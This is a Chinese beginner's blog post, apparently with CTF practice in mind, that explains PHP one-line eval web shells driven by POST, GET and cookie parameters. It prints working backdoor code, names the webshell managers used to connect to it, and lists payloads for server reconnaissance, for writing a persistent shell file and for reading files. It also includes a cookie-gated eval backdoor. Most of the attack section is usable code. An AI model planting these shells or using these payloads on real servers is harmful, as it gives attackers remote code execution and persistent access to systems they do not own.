eval一句话的简单理解

一,$_POST

1概述

POST是一种取数据的方式。请求开始后,浏览器要向服务器额外发送一些数据,例如cookie、用户名、密码等等,这些数据不体现在URL上,发送完毕后服务器再将数据(网页)传送给浏览器。
(下述为个人理解)
通过该方法传递,简单来说就是用传递的参数构建连接,一旦主动调用后,参数将传递至服务器,且服务器响应200,就建立了TCP/UDP连接,可以通过链接直接进行shell管理。

2常见格式

<?php @eval($_POST['content']);?>
//说明 @和'可以省略,@可以忽略报错,content随意

3使用方式

直接使用shell管理工具连接即可,例如:蚁剑、菜刀、冰蝎等。具体过程就不演示了。

二,$_GET

1概述

GET表示浏览器从服务器取数据的方式,并且在此期间浏览器不向服务器发送任何的数据,所有数据均体现在URL当中。
(下述为个人理解)
由于此方法主动调用之后不会立即向服务器发送数据,而是交由服务器处理后,返回结果,所以没有机会建立双向链接,故无法使用shell管理工具连接。

2常见格式

<?php @eval($_GET['content']);?>
//说明 @可以省略-@可以忽略报错,'不可省略-不然无法,content随意

3使用方法

利用bp抓包,进行重放攻击,利用参数传递php函数执行命令获取服务器相关信息。这就意味着需要收集相关的姿势了,下面收集了一些常见姿势。

(1)查看信息

phpinfo();

(2)写入一句话

$myfile = fopen("1.php", "w");fwrite($myfile,"<?php @eval(\$_POST[a]);?>");

(3)glob:///查看根目录

$a = new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString());}

(4)查看指定文件内容

var_dump(file_get_contents("flag.txt"));//引号内需要加路径,如果是当前路径则直接填文件名。

4举例

一般来说,下图为GET形使用的常见方式。
在这里插入图片描述

三,$_COOKIE

1概述

$_COOKIE需要配合setcookie()使用,即通过PHP设置cookie的方式(其实其他语言也可以设置cookie,例如:js)时,需要该方法和函数配合使用。
该方法是用来获取通过setcookie()定义的指定cookie键的值。
该方法主要需要绕过或者伪造。

2举例

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    setcookie("user",1);
    $user=$_COOKIE['user'];//获取cookie(也就是$a)的值
    if ($user==='admin'){
        eval($_POST['a']);
    }
?> 

连接方式
在这里插入图片描述

在这里插入图片描述确认即可。

四,总结

http协议的八种方式Php都支持,既然支持,理论上就一定会有相应的eval一句话写法,这里收录了三种方法的eval一句话。(其实身为初学者的我是近期才总结的,所以知道的姿势少而且不精,望各位大佬多多指教。)

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值